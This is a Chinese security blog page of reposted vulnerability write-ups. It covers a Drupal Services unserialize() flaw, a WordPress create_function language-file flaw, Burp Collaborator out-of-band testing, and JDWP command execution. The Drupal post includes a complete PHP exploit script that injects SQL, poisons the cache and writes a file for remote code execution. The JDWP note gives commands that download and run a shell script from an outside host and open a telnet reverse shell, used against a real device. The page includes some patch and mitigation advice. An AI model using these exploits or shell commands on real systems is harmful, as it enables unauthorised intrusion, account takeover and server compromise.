DRUPAL 7.X SERVICES MODULE UNSERIALIZE() TO RCE

作者:Secer 发布时间:March 10, 2017 分类:Web安全

Upon auditing Drupal's Services module, the Ambionics team came accross an insecure use of unserialize(). The exploitation of the vulnerability allowed for privilege escalation, SQL injection and, finally, remote code execution.

Services module

Services is a "standardized solution for building API's so that external clients can communicate with Drupal". Basically, it allows anybody to build SOAP, REST, or XMLRPC endpoints to send and fetch information in several output formats. It is currently the 150th most used plugin of Drupal, with around 45.000 active websites.

Services allows you to create different endpoints with different resources, allowing you to interact with your website and its content in an API-oriented way. For instance, you can enable the /user/login resource to login via JSON or XML.

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/json
Content-Length: 45
Connection: close

{"username": "admin", "password": "password"}

Reply:
HTTP/1.1 200 OK
Date: Thu, 02 Mar 2017 13:58:02 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
Vary: Accept
Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw; expires=Sat, 25-Mar-2017 17:31:22 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly
Content-Length: 635
Connection: close
Content-Type: application/json

{"sessid":"AmKl694c3hR6tqSXXwSKC2m4v9gd-jqnu7zIdpcTGVw","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"8TSDrnyPQ3J9VI8G1dtNwc6BAQ_ORp3Ok_VSrdKht00","user":{"uid":"1","name":"admin","mail":"[email protected]","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488463053","login":1488463082,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"[email protected]","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}

Vulnerability

One of the feature of the module is that one can control the input/output format by changing the Content-Type/Accept headers. By default, the following input formats are allowed:

· application/xml
· application/json
· multipart/form-data
· application/vnd.php.serialized

For anyone who haven't encountered the last one yet, it is the type given to PHP-serialized data. Let's try again:

POST /drupal-7.54/my_rest_endpoint/user/login HTTP/1.1
Host: vmweb.lan
Accept: application/json
Content-Type: application/vnd.php.serialized
Content-Length: 45
Connection: close

a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}

HTTP/1.1 200 OK

Date: Thu, 02 Mar 2017 14:29:54 GMT

Server: Apache/2.4.18 (Ubuntu)

Expires: Sun, 19 Nov 1978 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

X-Content-Type-Options: nosniff

Vary: Accept

Set-Cookie: SESSaad41d4de9fd30ccb65f8ea9e4162d52=ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I; expires=Sat, 25-Mar-2017 18:03:14 GMT; Max-Age=2000000; path=/; domain=.vmweb.lan; HttpOnly

Content-Length: 635

Connection: close

Content-Type: application/json

{"sessid":"ufBRP7UJFuQKSf0VuFvwaoB3h4mjVYXbE9K6Y_DGU_I","session_name":"SESSaad41d4de9fd30ccb65f8ea9e4162d52","token":"2tFysvDt1POl7jjJJSCRO7sL1rvlrnqtrik6gljggo4","user":{"uid":"1","name":"admin","mail":"[email protected]","theme":"","signature":"","signature_format":null,"created":"1487348324","access":"1488464867","login":1488464994,"status":"1","timezone":"Europe/Berlin","language":"","picture":null,"init":"[email protected]","data":false,"roles":{"2":"authenticated user","3":"administrator"},"rdf_mapping":{"rdftype":["sioc:UserAccount"],"name":{"predicates":["foaf:name"]},"homepage":{"predicates":["foaf:page"],"type":"rel"}}}}

So, we're indeed facing a trivial unserialize() vulnerability.

function rest_server_request_parsers() {
static $parsers = NULL;
if (!$parsers) {
$parsers = array(
'application/x-www-form-urlencoded' => 'ServicesParserURLEncoded',
'application/json' => 'ServicesParserJSON',
'application/vnd.php.serialized' => 'ServicesParserPHP',
'multipart/form-data' => 'ServicesParserMultipart',
'application/xml' => 'ServicesParserXML',
'text/xml' => 'ServicesParserXML',
);
}
}

class ServicesParserPHP implements ServicesParserInterface {
public function parse(ServicesContextInterface $context) {
return unserialize($context->getRequestBody());
}
}What can we do with it ?

Exploitation

Sources and sinks

Even if Drupal lacks straightforward unserialize() gadgets, the numerous endpoints that are available in Services, combined with the ability to send serialized data, provides a lot of ways to exploit the vulnerability: user-submitted data can be used in SQL queries, echoed back in the result, etc. Our exploitation focuses on /user/login, since it was the most used endpoint amongst our clients. It is nonetheless possible to construct an RCE payload that works on any URL, as long as the PHP deserialization is activated.

SQL Injection

Evidently, the primary function of the /user/login endpoint is to allow people to authenticate. To do so, Services uses the usual Drupal internal API, which fetches an username from the database and then compares the password hash to the user-submitted password. This implies that the username we send will be used in an SQL query using Drupal's Database API. The call is very much like this:

$user = db_select('users', 'base') # Table: users Alias: base
->fields('base', array('uid', 'name', ...)) # Select every field
->condition('base.name', $username) # Match the username
->execute(); As usual with unserialize()-based bugs, the downfall of the framework comes from its own capabilities. Indeed, instead of submitting basic types like a string, like we would usually, the API offers the possibility to make subqueries by giving it an object which implements Drupal's SelectQueryInterface.

class DatabaseCondition implements QueryConditionInterface, Countable {

public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {

if ($condition['value'] instanceof SelectQueryInterface) {
$condition['value']->compile($connection, $queryPlaceholder);
$placeholders[] = (string) $condition['value'];
$arguments += $condition['value']->arguments();
// Subqueries are the actual value of the operator, we don't
// need to add another below.
$operator['use_value'] = FALSE;
}
}
}The string representation of the object is used directly in the query, which might provoke an SQL injection.

Different conditions are required for $username:

· It must implement SelectQueryInterface

· It must implement compile()

· Its string representation must be controlled by us

The SelectQueryExtender, one of the only two objects implementing SelectQueryInterface, is meant to wrap around a standard SelectQuery object. Its $query attribute contains said object. When SelectQueryExtender's compile() and __toString() methods are called, the underlying object's methods are called instead.

class SelectQueryExtender implements SelectQueryInterface {

/**

* The SelectQuery object we are extending/decorating.

*

* @var SelectQueryInterface

*/

# Note: Although this expects a SelectQueryInterface, this is never enforced

protected $query;

public function __toString() {

return (string) $this->query;

}

public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {

return $this->query->compile($connection, $queryPlaceholder);

}

}

We can use this class as a "proxy" for any other class: this allows us to pass the first condition.

The two last conditions are met by the DatabaseCondition object: for performance reasons, it has a stringVersion attribute which is meant to contain its string representation after it's been compiled.

class DatabaseCondition implements QueryConditionInterface, Countable {
protected $changed = TRUE;
protected $queryPlaceholderIdentifier;

public function compile(DatabaseConnection $connection, QueryPlaceholderInterface $queryPlaceholder) {
// Re-compile if this condition changed or if we are compiled against a
// different query placeholder object.
if ($this->changed || isset($this->queryPlaceholderIdentifier) && ($this->queryPlaceholderIdentifier != $queryPlaceholder->uniqueIdentifier())) {
$this->changed = FALSE;
$this->stringVersion = implode($conjunction, $condition_fragments);
}
}

public function __toString() {
// If the caller forgot to call compile() first, refuse to run.
if ($this->changed) {
return NULL;
}
return $this->stringVersion;
}
}From this, an SQL Injection is possible. The most efficient way to exploit is by using UNION to fetch one of the administrators, and replacing her/his password hash by ours, so that the hash comparison which follows succeeds.

# Original Query

SELECT

..., base.name AS name, base.pass AS pass, base.mail AS mail, ...

FROM

{users}

WHERE

(name =

# Injection starts here

0x3a)

UNION SELECT

..., base.name AS name, '$S$DfX8LqsscnDutk1tdqSXgbBTqAkxjKMSWIfCa7jOOvutmnXKUMp0' AS pass, base.mail AS mail, ...

FROM

{users}

ORDER BY (uid

# Injection ends here

);

We can also store other database data in other fields, for instance put the admin's original hash in his signature.

1.jpg

We're now logged in as an administrator, and we can read anything from the database.

Remote Code Execution

Drupal has a cache table, which associates a key to serialized data. The Services module caches, for every endpoint, a list of resources, along with the parameters it expects, and the callback function associated to it. Evidently, modifying the cache would have an enormous impact, because we make the module call any PHP function, with any parameter. Fortunately, the DrupalCacheArray class allows us to do just that. The exploitation is pretty straightforward:

· Modify the behaviour of the /user/login resource to write a file anywhere on the server

· Hit /user/login to create the file

· Restore standard behaviour

In order not to break the endpoint during the attack, we use the SQL injection to fetch the original cache data, so that we only modify specific values. We use file_put_contents() and two parameters to write a file anywhere.

Correction

The Drupal security team took 40 minutes to review our report and propose a correct patch. The advisory along with a new version were published on 03/08/2017 (Services - Critical - Arbitrary Code Execution - SA-CONTRIB-2017-029).

If you’re using a vulnerable version of this module, update as soon as possible. In the event where you cannot update, we strongly recommend to disable application/vnd.php.serialized in Drupal Services settings.

2.jpg

Exploit

The following exploit file combines the two exploitations in order to perform the Privilege Escalation, SQL injection and RCE altogether.

#!/usr/bin/php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
# cf
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
# along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache
#

# Initialization

error_reporting(E_ALL);

define('QID', 'anything');
define('TYPE_PHP', 'application/vnd.php.serialized');
define('TYPE_JSON', 'application/json');
define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
'filename' => 'dixuSOspsOUU.php',
'data' => ''
];

$browser = new Browser($url . $endpoint_path);

# Stage 1: SQL Injection

class DatabaseCondition
{
protected $conditions = [
"#conjunction" => "AND"
];
protected $arguments = [];
protected $changed = false;
protected $queryPlaceholderIdentifier = null;
public $stringVersion = null;

public function __construct($stringVersion=null)
{
$this->stringVersion = $stringVersion;

if(!isset($stringVersion))
{
$this->changed = true;
$this->stringVersion = null;
}
}
}

class SelectQueryExtender {
# Contains a DatabaseCondition object instead of a SelectQueryInterface
# so that $query->compile() exists and (string) $query is controlled by us.
protected $query = null;

protected $uniqueIdentifier = QID;
protected $connection;
protected $placeholder = 0;

public function __construct($sql)
{
$this->query = new DatabaseCondition($sql);
}
}

$cache_id = "services:$endpoint:resources";
$sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
$password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';

# Take first user but with a custom password
# Store the original password hash in signature_format, and endpoint cache
# in signature
$query =
"0x3a) UNION SELECT ux.uid AS uid, " .
"ux.name AS name, '$password_hash' AS pass, " .
"ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
"ux.pass AS signature_format, ux.created AS created, " .
"ux.access AS access, ux.login AS login, ux.status AS status, " .
"ux.timezone AS timezone, ux.language AS language, ux.picture " .
"AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
"WHERE ux.uid<>(0"
;

$query = new SelectQueryExtender($query);
$data = ['username' => $query, 'password' => 'ouvreboite'];
$data = serialize($data);

$json = $browser->post(TYPE_PHP, $data);

# If this worked, the rest will as well
if(!isset($json->user))
{
print_r($json);
e("Failed to login with fake password");
}

# Store session and user data

$session = [
'session_name' => $json->session_name,
'session_id' => $json->sessid,
'token' => $json->token
];
store('session', $session);

$user = $json->user;

# Unserialize the cached value
# Note: Drupal websites admins, this is your opportunity to fight back :)
$cache = unserialize($user->signature);

# Reassign fields
$user->pass = $user->signature_format;
unset($user->signature);
unset($user->signature_format);

store('user', $user);

if($cache === false)
{
e("Unable to obtains endpoint's cache value");
}

x("Cache contains " . sizeof($cache) . " entries");

# Stage 2: Change endpoint's behaviour to write a shell

class DrupalCacheArray
{
# Cache ID
protected $cid = "services:endpoint_name:resources";
# Name of the table to fetch data from.
# Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
protected $bin = 'cache';
protected $keysToPersist = [];
protected $storage = [];

function __construct($storage, $endpoint, $controller, $action) {
$settings = [
'services' => ['resource_api_version' => '1.0']
];
$this->cid = "services:$endpoint:resources";

# If no endpoint is given, just reset the original values
if(isset($controller))
{
$storage[$controller]['actions'][$action] = [
'help' => 'Writes data to a file',
# Callback function
'callback' => 'file_put_contents',
# This one does not accept "true" as Drupal does,
# so we just go for a tautology
'access callback' => 'is_string',
'access arguments' => ['a string'],
# Arguments given through POST
'args' => [
0 => [
'name' => 'filename',
'type' => 'string',
'description' => 'Path to the file',
'source' => ['data' => 'filename'],
'optional' => false,
],
1 => [
'name' => 'data',
'type' => 'string',
'description' => 'The data to write',
'source' => ['data' => 'data'],
'optional' => false,
],
],
'file' => [
'type' => 'inc',
'module' => 'services',
'name' => 'resources/user_resource',
],
'endpoint' => $settings
];
$storage[$controller]['endpoint']['actions'] += [
$action => [
'enabled' => 1,
'settings' => $settings
]
];
}

$this->storage = $storage;
$this->keysToPersist = array_fill_keys(array_keys($storage), true);
}
}

class ThemeRegistry Extends DrupalCacheArray {
protected $persistable;
protected $completeRegistry;
}

cache_poison($endpoint, $cache);

# Write the file
$json = (array) $browser->post(TYPE_JSON, json_encode($file));

# Stage 3: Restore endpoint's behaviour

cache_reset($endpoint, $cache);

if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
{
e("Failed to write file.");
}

$file_url = $url . '/' . $file['filename'];
x("File written: $file_url");

# HTTP Browser

class Browser
{
private $url;
private $controller = CONTROLLER;
private $action = ACTION;

function __construct($url)
{
$this->url = $url;
}

function post($type, $data)
{
$headers = [
"Accept: " . TYPE_JSON,
"Content-Type: $type",
"Content-Length: " . strlen($data)
];
$url = $this->url . '/' . $this->controller . '/' . $this->action;

$s = curl_init();
curl_setopt($s, CURLOPT_URL, $url);
curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
curl_setopt($s, CURLOPT_POST, 1);
curl_setopt($s, CURLOPT_POSTFIELDS, $data);
curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($s);
$error = curl_error($s);
curl_close($s);

if($error)
{
e("cURL: $error");
}

return json_decode($output);
}
}

# Cache

function cache_poison($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
cache_edit($tr);
}

function cache_reset($endpoint, $cache)
{
$tr = new ThemeRegistry($cache, $endpoint, null, null);
cache_edit($tr);
}

function cache_edit($tr)
{
global $browser;
$data = serialize([$tr]);
$json = $browser->post(TYPE_PHP, $data);
}

# Utils

function x($message)
{
print("$message\n");
}

function e($message)
{
x($message);
exit(1);
}

function store($name, $data)
{
$filename = "$name.json";
file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
x("Stored $name information in $filename");
}The exploitation is completely stealth. Nevertheless, one has to guess or find the endpoint URL, which mitigates the vulnerability a bit.

转 https://www.ambionics.io/blog/drupal-services-module-rce

Wordpress <= 4.6.1 使用语言文件任意代码执行 漏洞分析

作者:Secer 发布时间:October 10, 2016 分类:Web安全

Author: p0wd3r (知道创宇404安全实验室)

0x00 漏洞概述

1.漏洞简介

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统,近日在github (https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97)上爆出这样一个漏洞,在其<=4.6.1版本中,如果网站使用攻击者提前构造好的语言文件来对网站、主题、插件等等来进行翻译的话,就可以执行任意代码。

2.漏洞影响

任意代码执行,但有以下两个前提:

1. 攻击者可以上传自己构造的语言文件,或者含有该语言文件的主题、插件等文件夹

2. 网站使用攻击者构造好的语言文件来对网站、主题、插件等进行翻译

这里举一个真实场景中的例子:攻击者更改了某个插件中的语言文件,并更改了插件代码使插件初始化时使用恶意语言文件对插件进行翻译,然后攻击者通过诱导管理员安装此插件来触发漏洞。

3.影响版本

<= 4.6.1

0x01 漏洞复现

1. 环境搭建
docker pull wordpress:4.6.1  
docker pull mysql  
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql  
docker run --name wp --link wp-mysql:mysql -d wordpress
2.漏洞分析

首先我们来看这样一个场景:

clip_image001

在调用create_function时,我们通过}将原函数闭合,添加我们想要执行的内容后再使用/*将后面不必要的部分注释掉,最后即使我们没有调用创建好的函数,我们添加的新内容也依然被执行了。之所以如此,是因为create_function内部使用了eval来执行代码,我们看PHP手册上的说明:

clip_image002

所以由于这个特性,如果我们可以控制create_function的$code参数,那就有了任意代码执行的可能。这里要说一下,create_function这个漏洞最早由80sec在08年提出,这里提供几个链接作为参考:

· https://www.exploit-db.com/exploits/32416/

· https://bugs.php.net/bug.php?id=48231

· http://www.2cto.com/Article/201212/177146.html

接下来我们看Wordpress中一处用到create_function的地方,在wp-includes/pomo/translations.php第203-209行:

/**
 * Makes a function, which will return the right translation index, according to the
 * plural forms header
 * @param int    $nplurals
 * @param string $expression
 */
function make_plural_form_function($nplurals, $expression) {  
    $expression = str_replace('n', '$n', $expression);
    $func_body = "
        \$index = (int)($expression);
        return (\$index < $nplurals)? \$index : $nplurals - 1;";
    return create_function('$n', $func_body);
}

根据注释可以看到该函数的作用是根据字体文件中的plural forms这个header来创建函数并返回,其中$expression用于组成$func_body,而$func_body作为$code参数传入了create_function,所以关键是控制$expresstion的值。

我们看一下正常的字体文件zh_CN.mo,其中有这么一段:

clip_image003

Plural-Froms这个header就是上面的函数所需要处理的,其中nplurals的值即为$nplurals的值,而plural的值正是我们需要的$expression的值。所以我们将字体文件进行如下改动:

clip_image004

然后我们在后台重新加载这个字体文件,同时进行动态调试,可以看到如下情景:

clip_image005

我们payload中的)首先闭合了前面的(,然后;结束前面的语句,接着是我们的一句话木马,然后用/*将后面不必要的部分注释掉,通过这样,我们就将payload完整的传入了create_function,在其创建函数时我们的payload就会被执行,由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译,所以我们访问任何文件都可以触发这个payload:

clip_image006

clip_image007

其中访问index.php?c=phpinfo();的函数调用栈如下:

clip_image008

3.补丁分析

目前官方还没有发布补丁,最新版仍存在该漏洞。

0x02 修复方案

在官方发布补丁前建议管理员增强安全意识,不要使用来路不明的字体文件、插件、主题等等。

对于开发者来说,建议对$expression中的特殊符号进行过滤,例如:

$not_allowed = array(";", ")", "}");
$experssion = str_replace($not_allowed, "", $expression);

0x03 参考

https://www.seebug.org/vuldb/ssvid-92459

https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97

http://php.net/manual/zh/function.create-function.php

https://www.exploit-db.com/exploits/32416/

https://bugs.php.net/bug.php?id=48231

http://www.2cto.com/Article/201212/177146.html

https://codex.wordpress.org/InstallingWordPressinYourLanguage

Burpsuite之Burp Collaborator模块介绍

作者:Secer 发布时间:July 30, 2016 分类:Web安全,黑客技巧

Burp Collaborator.是从Burp suite v1.6.15版本添加的新功能,它几乎是一种全新的渗透测试方法。Burp Collaborator.会渐渐支持blind XSSSSRFasynchronous code injection等其他还未分类的漏洞类型。

本文主要介绍使用Burp Collaborator.对这几种类型漏洞进行探测。

概念:In-band attackout-band attack(带内与带外攻击)

首先介绍两个概念,带内与带外的区别核心在于是否使用不同的通信通道。

在一次攻击当中,只有一条通道,属于in-band(带内)攻击:

clip_image001

现在同一次攻击下,不止一条信道,则属于out-band(带外)攻击:

clip_image002

常规web测试模型

简单的讲,常规的web测试模型就是我们向目标发送payloads,然后分析目标返回的数据。

clip_image003

这个模型很容易建立并且容易理解,但是这个简单的模型漏掉很多bugs,比如:

§ “super-blind” injection。”blind SQL injection”表示当一个payload破坏了正常的sql查询然而应用程序返回的内容没有任何有帮助的错误信息。但是在有些情况下,一个成功的注入在目标应用的返回里面是完全看不到区别的,意思就是,不论返回的内容还是返回的时间,都没有任何区别。举个例子,注入asynchronous logging function就是一个典型的情况

§ 需要存储数据的情况。比如存储型xss理论上通过先提交payloads然后观察返回值是可以发现的。但是其他的存储型bugs很难发现,比如,stored (or second-order) SQL injection,数据先是以安全的方式存储在数据库中,然后再从数据库取出再拼接sql语句。要使用常规渗透模型发现这种漏洞,我们需要爆破每一种请求的组合,要先发送第一个request请求,然后在发送第二个request请求,然后观察返回值。

§ 我们还会漏掉一种漏洞,一次成功的攻击只发生在应用内部,对攻击者是不可见的。比如,存储型xss攻击成功要求管理员访问管理地址。

§ 还有很多涉及到内部系统与外部资源交互的情况,比如SSRF和RFI等漏洞。

加入Burp Collaborator后的web测试模型

Burp Collaborator 给传统web测试模型添加了一个新的部分,Burp Collaborator的功能有:

§ 捕捉由Burp发出的payloads触发的目标与外部系统发生数据交互行为

§ 把Burp Collaborator与目标数据交互行为产生的返回数据传回攻击者

§ 对很多新型漏洞进行可靠的探测。 clip_image004

Burp Collaborator模块包含如下特征:

§ Burp Collaborator 服务器通常运行在公网上。

§ 它使用自己的专用域名,并且这个服务器已注册为该域名的权威DNS服务器。

§ 它提供一个DNS服务,可以响应任何对他的dns请求

§ 它提供HTTP/HTTPS 服务,使用一个有效的SSL证书

§ 将来可以添加其他的服务,比如smtp和ftp。

探测external service interaction(外部服务交互攻击)

与外部服务交互行为发生在一个payload提交到目标应用上,导致目标通过某个网络协议和一个外部的域名进行信息交互。

clip_image005

这种行为有时候被称为SSRF,我们更偏向于称之为外部服务交互(”external service interaction”)攻击,因为这种情况里面,很多行为不仅仅通过HTTP协议触发,还有SMB或者FTP等。

外部服务交互可以代表一个严重的漏洞,因为他可以允许应用服务器作为一个代理来攻击其他的服务器。这包裹公网上面的第三方系统,同一个组织下的内部系统或者监听在本地的服务。根据网络结构,这可以将内部容易被攻击的系统暴露给外部的攻击者。

阅读剩余部分...

JDWP系统命令漏洞执行利用实例

作者:Secer 发布时间:July 21, 2016 分类:Web安全

好久没更新博客,一切都因为太忙

偶遇几个JDWP,测试下 漏洞存在所以写个笔记记下

NMAP扫描

image

利用工具: https://github.com/IOActive/jdwp-shellifier

 

image

要触发**.**.**.**.ServerSocket.accept 访问一下web端口就行了

 

此目标的Web端口是8009哦

 

姿势来自

http://www.wooyun.org/bugs/wooyun-2010-095744

增加利用telnet反弹得到shell的方法,以国内某设备为例

./jdwp-exp.py -t **.**.**.** -p 8000 --cmd 'wget http://x.x.x.x:2222/shell.txt -O /tmp/shell.sh'

./jdwp-exp.py -t **.**.**.** -p 8000 --cmd 'chmod a+x /tmp/shell.sh'

./jdwp-exp.py -t **.**.**.** -p 8000 --cmd '/tmp/shell.sh'

shell.txt内容:(需要开2个端口,一个用于发送命令一个用于接受命令返回)

telnet x.x.x.x 1111 | /bin/bash | telnet x.x.x.x 3333

 

然后在x.x.x.x服务器上用nc监听1111端口和3333端口

1111端口是发送命令,3333回显命令结果的

两个cmd窗口

image

 

nc -nnv -L -p 3333

nc -nnv -L -p 1111